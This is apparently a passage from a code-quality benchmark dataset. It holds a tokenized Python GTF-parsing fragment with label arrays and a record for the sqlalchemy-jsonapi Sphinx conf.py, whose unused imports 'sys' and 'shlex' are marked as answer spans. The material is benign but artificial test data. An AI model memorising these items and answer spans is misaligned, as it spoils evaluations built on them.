"]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "captured", "Types_", "._", "get_", "(_", "typ_", ")_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "message_", "=_", "'", "Permi", "tted", " ", "types", ":", " ", "'_", "+_", "\"", " ", ",\"_", "._", "join_", "(_", "captured", "Types_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "dxp", "y_", "._", "App", "Error_", "(_", "\"", "One", " ", "row", " ", "had", " ", "a", " ", "type", " ", "whi", "ch", " ", "is", " ", "not", " ", "in", " ", "the", " ", "list", " ", "of", " ", "permit", "ted", " ", "types", ".", " ", "\"_", "+_", "message_", "+_", "\"\\\\", "n", "Off", "ending", " ", "line", ":", " ", "\"_", "+_", "line_", "+_", "\"\\\\", "n", "Off", "ending", " ", "type", ":", " ", "\"_", "+_", "typ_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "score_", "=_", "float_", "(_", "tab", "Split_", "[_", "5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "tab", "Split_", "[_", "5_", "]_", "==_", "\".\"_", "or_", "tab", "Split_", "[_", "5_", "]_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "score_", "=_", "dxp", "y_", "._", "NULL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "dxp", "y_", "._", "App", "Error_", "(_", "\"", "The", " ", "score", " ", "for", " ", "one", " ", "line", " ", "coul", "d", " ", "not", " ", "be", " ", "translat", "ed", " ", "int", "o", " ", "a", " ", "number", " ", "and", " ", "was", " ", "not", " ", "\\\\\".", "\\\\\"\"_", "+_", "\"\\\\", "n", "Off", "ending", " ", "line", ":", " ", "\"_", "+_", "line_", "+_", "\"\\\\", "n", "Off", "ending", " ", "value", ":", " ", "\"_", "+_", "tab", "Split_", "[_", "5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tab", "Split_", "[_", "6_", "]_", "!=_", "\"+\"_", "and_", "tab", "Split_", "[_", "6_", "]_", "!=_", "\"-\"_", "and_", "tab", "Split_", "[_", "6_", "]_", "!=_", "\".\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "dxp", "y_", "._", "App", "Error_", "(_", "\"", "The", " ", "strand", " ", "indicat", "ed", " ", "for", " ", "an", " ", "element", " ", "was", " ", "not", " ", "\\\\\"", "+\\\\", "\",", " ", "\\\\\"", "-\\\\", "\",", " ", "or", " ", "\\\\\".", "\\\\\"\"_", "+_", "\"\\\\", "n", "Off", "ending", " ", "line", ":", " ", "\"_", "+_", "line_", "+_", "\"\\\\", "n", "Off", "ending", " ", "value", ":", " ", "\"_", "+_", "tab", "Split_", "[_", "6_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "strand_", "=_", "tab", "Split_", "[_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lo_", "=_", "int_", "(_", "tab", "Split_", "[_", "3_", "]_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "dxp", "y_", "._", "App", "Error_", "(_", "\"", "One", " ", "of", " ", "the", " ", "start", " ", "values", " ", "was", " ", "coul", "d", " ", "not", " ", "be", " ", "translat", "ed", " ", "to", " ", "an", " ", "integ", "er", ".", " ", "\"_", "+_", "\"\\\\", "n", "Off", "ending", " ", "line", ":", " ", "\"_", "+_", "line_", "+_", "\"\\\\", "n", "Off", "ending", " ", "value", ":", " ", "\"_", "+_", "tab", "Split_", "[_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hi_", "=_", "int_", "(_", "tab", "Split_", "[_", "4_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "dxp", "y_", "._", "App", "Error_", "(_", "\"", "One", " ", "of", " ", "the", " ", "start", " ", "values", " ", "was", " ", "coul", "d", " ", "not", " ", "be", " ", "translat", "ed", " ", "to", " ", "an", " ", "integ", "er", ".", " ", "\"_", "+_", "\"\\\\", "n", "Off", "ending", " ", "line", ":", " ", "\"_", "+_", "line_", "+_", "\"\\\\", "n", "Off", "ending", " ", "value", ":", " ", "\"_", "+_", "tab", "Split_", "[_", "4_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frame_", "=_", "int_", "(_", "tab", "Split_", "[_", "7_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "frame_", ">_", "2_", "or_", "frame_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "dxp", "y_", "._", "App", "Error_", "(_", "\"", "The", " ", "frame", " ", "indicat", "ed", " ", "for", " ", "an", " ", "element", " ", "was", " ", "not", " ", "\\\\\".", "\\\\\",", " ", "\\\\\"", "0", "\\\\\",", " ", "\\\\\"", "1", "\\\\\",", " ", "or", " ", "\\\\\"", "2", "\\\\\"\"_", "+_", "\"\\\\", "n", "Off", "ending", " ", "line", ":", " ", "\"_", "+_", "line_", "+_", "\"\\\\", "n", "Off", "ending", " ", "value", ":", " ", "\"_", "+_", "tab", "Split_", "[_", "7_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "tab", "Split_", "[_", "7_", "]_", "==_", "\".\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frame_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "dxp", "y_", "._", "App", "Error_", "(_", "\"", "The", " ", "frame", " ", "indicat", "ed", " ", "for", " ", "an", " ", "element", " ", "was", " ", "not", " ", "\\\\\".", "\\\\\",", " ", "\\\\\"", "0", "\\\\\",", " ", "\\\\\"", "1", "\\\\\",", " ", "or", " ", "\\\\\"", "2", "\\\\\"\"_", "+_", "\"\\\\", "n", "Off", "ending", " ", "line", ":", " ", "\"_", "+_", "line_", "+_", "\"\\\\", "n", "Off", "ending", " ", "value", ":", " ", "\"_", "+_", "tab", "Split_", "[_", "7_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "line", "Attributes_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", "Extract", " ", "the", " ", "attribute", "s", " ", "from", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "entry", "Split_", "=_", "tab", "Split_", "[_", "8_", "]_", "._", "split_", "(_", "\";\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "entry", "Split_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key", "Value_", "=_", "x_", "._", "strip_", "(_", ")_", "._", "split_", "(_", "\"", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "=_", "key", "Value_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "key_", "!=_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "key_", ")_", "<_", "100_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line", "Attributes_", "[_", "key_", "._", "strip_", "(_", "'\"'_", ")_", "]_", "=_", "key", "Value_", "[_", "1_", "]_", "._", "strip_", "(_", "'\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gene", "Id_", "=_", "line", "Attributes_", "[_", "\"", "gene", "\\u", "id", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transcri", "pt", "Id_", "=_", "line", "Attributes_", "[_", "\"", "transcri", "pt", "\\u", "id", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gene", "Name_", "=_", "gene", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\"", "gene", "\\u", "name", "\"_", "in_", "line", "Attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gene", "Name_", "=_", "line", "Attributes_", "[_", "\"", "gene", "\\u", "name", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transcri", "pt", "Name_", "=_", "transcri", "pt", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\"", "transcri", "pt", "\\u", "name", "\"_", "in_", "line", "Attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transcri", "pt", "Name_", "=_", "line", "Attributes_", "[_", "\"", "transcri", "pt", "\\u", "name", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "values_", "=_", "{_", "\"", "chromo", "some", "\"_", ":_", "chromosome_", ",_", "\"", "lo", "\"_", ":_", "lo_", ",_", "\"", "hi", "\"_", ":_", "hi_", ",_", "\"", "gene", "Name", "\"_", ":_", "gene", "Name_", ",_", "\"", "transcri", "pt", "Name", "\"_", ":_", "transcri", "pt", "Name_", ",_", "\"", "source", "\"_", ":_", "source_", ",_", "\"", "type", "\"_", ":_", "typ_", ",_", "\"", "strand", "\"_", ":_", "strand_", ",_", "\"", "score", "\"_", ":_", "score_", ",_", "\"", "frame", "\"_", ":_", "frame_", ",_", "\"", "gene", "Id", "\"_", ":_", "gene", "Id_", ",_", "\"", "transcri", "pt", "Id", "\"_", ":_", "transcri", "pt", "Id_", ",_", "\"", "attribute", "s", "\"_", ":_", "line", "Attributes_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ColtonProvias/sqlalchemy-jsonapi/docs/conf.py
[ { "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# SQLAlchemy-JSONAPI documentation build configuration file, created by\n# sphinx-quickstart on Thu Aug 6 19:57:43 2015.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport sys\nimport os\nimport shlex\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#sys.path.insert(0, os.path.abspath('.'))\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = ['sphinx.ext.autodoc', 'sphinx.ext.intersphinx', ]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'SQLAlchemy-JSONAPI'\ncopyright = '2015, Colton Provias'\nauthor = 'Colton Provias'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = '1.0.0'\n# The full version, including alpha/beta/rc tags.\nrelease = '1.0.0'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build']\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n# If true, keep warnings as \"system message\" paragraphs in the built documents.\n#keep_warnings = False\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#html_theme = 'alabaster'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n#html_extra_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Language to be used for generating the HTML full-text search index.\n# Sphinx supports the following languages:\n# 'da', 'de', 'en', 'es', 'fi', 'fr', 'h', 'it', 'ja'\n# 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr'\n#html_search_language = 'en'\n\n# A dictionary with options for the search language support, empty by default.\n# Now only 'ja' uses this config value\n#html_search_options = {'type': 'default'}\n\n# The name of a javascript file (relative to the configuration directory) that\n# implements a search results scorer. If empty, the default will be used.\n#html_search_scorer = 'scorer.js'\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'SQLAlchemy-JSONAPIdoc'\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n # The paper size ('letterpaper' or 'a4paper').\n #'papersize': 'letterpaper',\n # The font size ('10pt', '11pt' or '12pt').\n #'pointsize': '10pt',\n # Additional stuff for the LaTeX preamble.\n #'preamble': '',\n # Latex figure (float) alignment\n #'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n (master_doc, 'SQLAlchemy-JSONAPI.tex', 'SQLAlchemy-JSONAPI Documentation',\n 'Colton Provias', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n (master_doc, 'sqlalchemy-jsonapi', 'SQLAlchemy-JSONAPI Documentation',\n [author], 1)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n (master_doc, 'SQLAlchemy-JSONAPI', 'SQLAlchemy-JSONAPI Documentation',\n author, 'SQLAlchemy-JSONAPI', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n# Documents to append as an appendix to all manuals.\n#texinfo_appendices = []\n\n# If false, no module index is generated.\n#texinfo_domain_indices = True\n\n# How to display URL addresses: 'footnote', 'no', or 'inline'.\n#texinfo_show_urls = 'footnote'\n\n# If true, do not generate a @detailmenu in the \"Top\" node's menu.\n#texinfo_no_detailmenu = False\n\n# Example configuration for intersphinx: refer to the Python standard library.\nintersphinx_mapping = {'https://docs.python.org/': None}\n\non_rtd = os.environ.get('READTHEDOCS', None) == 'True'\n\nif not on_rtd:\n import sphinx_rtd_theme\n html_theme = 'sphinx_rtd_theme'\n html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import sys", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 10 }, { "span": "import shlex", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 12 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python", "3_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "SQL", "Al", "chem", "y", "-", "JSO", "NA", "PI", " ", "documentation", " ", "build", " ", "configura", "tion", " ", "file", ",", " ", "created", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sphinx", "-", "quicks", "tart", " ", "on", " ", "Thu", " ", "Au", "g", " ", " ", "6", " ", "1", "9", ":", "5", "7", ":", "4", "3", " ", "201", "5._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "file", " ", "is", " ", "execfile", "()", "d", " ", "with", " ", "the", " ", "current", " ", "director", "y", " ", "set", " ", "to", " ", "its_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", "ing", " ", "dir", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "not", " ", "all", " ", "possib", "le", " ", "configura", "tion", " ", "values", " ", "are", " ", "presen", "t", " ", "in", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "autogen", "erate", "d", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "configura", "tion", " ", "values", " ", "have", " ", "a", " ", "default", ";", " ", "values", " ", "tha", "t", " ", "are", " ", "commente", "d", " ", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "serve", " ", "to", " ", "show", " ", "the", " ", "default", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shlex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "extensi", "ons", " ", "(", "or", " ", "module", "s", " ", "to", " ", "document", " ", "with", " ", "autod", "oc", ")", " ", "are", " ", "in", " ", "anot", "her", " ", "director", "y", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "these", " ", "director", "ies", " ", "to", " ", "sys", ".", "path", " ", "here", ".", " ", "If", " ", "the", " ", "director", "y", " ", "is", " ", "relative", " ", "to", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "documentation", " ", "root", ",", " ", "use", " ", "os", ".", "path", ".", "abs", "path", " ", "to", " ", "make", " ", "it", " ", "abs", "olute", ",", " ", "like", " ", "shown", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "sys", ".", "path", ".", "insert", "(", "0", ",", " ", "os", ".", "path", ".", "abs", "path", "('.", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "General", " ", "configura", "tion", " ", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "your", " ", "documentation", " ", "need", "s", " ", "a", " ", "minima", "l", " ", "Sph", "inx", " ", "version", ",", " ", "state", " ", "it", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "need", "s", "\\u", "sphinx", " ", "=", " ", "'", "1.0", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "Sph", "inx", " ", "extensi", "on", " ", "module", " ", "names", " ", "here", ",", " ", "as", " ", "string", "s", ".", " ", "The", "y", " ", "can", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "extensi", "ons", " ", "comi", "ng", " ", "with", " ", "Sph", "inx", " ", "(", "named", " ", "'", "sphinx", ".", "ext", ".*", "')", " ", "or", " ", "your", " ", "custom_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ones", "._", "\\u\\u\\uNL\\u\\u\\u_", "extensions_", "=_", "[_", "'", "sphinx", ".", "ext", ".", "autod", "oc", "'_", ",_", "'", "sphinx", ".", "ext", ".", "intersphinx", "'_", ",_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "template", "s", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "template", "s", "\\u", "path_", "=_", "[_", "'\\u", "template", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "suff", "ix", "(", "es", ")", " ", "of", " ", "source", " ", "filename", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "can", " ", "speci", "fy", " ", "multiple", " ", "suff", "ix", " ", "as", " ", "a", " ", "list", " ", "of", " ", "string", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "source", "\\u", "suff", "ix", " ", "=", " ", "['", ".", "rst", "',", " ", "'.", "md", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "suffix_", "=_", "'.", "rst", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "encoding", " ", "of", " ", "source", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "source", "\\u", "encoding", " ", "=", " ", "'", "utf", "-", "8", "-", "sig", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "master", " ", "toc", "tree", " ", "document", "._", "\\u\\u\\uNL\\u\\u\\u_", "master", "\\u", "doc_", "=_", "'", "index", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "General", " ", "informati", "on", " ", "abo", "ut", " ", "the", " ", "project", "._", "\\u\\u\\uNL\\u\\u\\u_", "project_", "=_", "'", "SQL", "Al", "chem", "y", "-", "JSO", "NA", "PI", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copyright_", "=_", "'", "201", "5", ",", " ", "Col", "ton", " ", "Prov", "ias", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "author_", "=_", "'", "Col", "ton", " ", "Prov", "ias", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "version", " ", "info", " ", "for", " ", "the", " ", "project", " ", "you", "'", "re", " ", "document", "ing", ",", " ", "acts", " ", "as", " ", "replace", "ment", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "|", "version", "|", " ", "and", " ", "|", "release", "|", ",", " ", "als", "o", " ", "used", " ", "in", " ", "vari", "ous", " 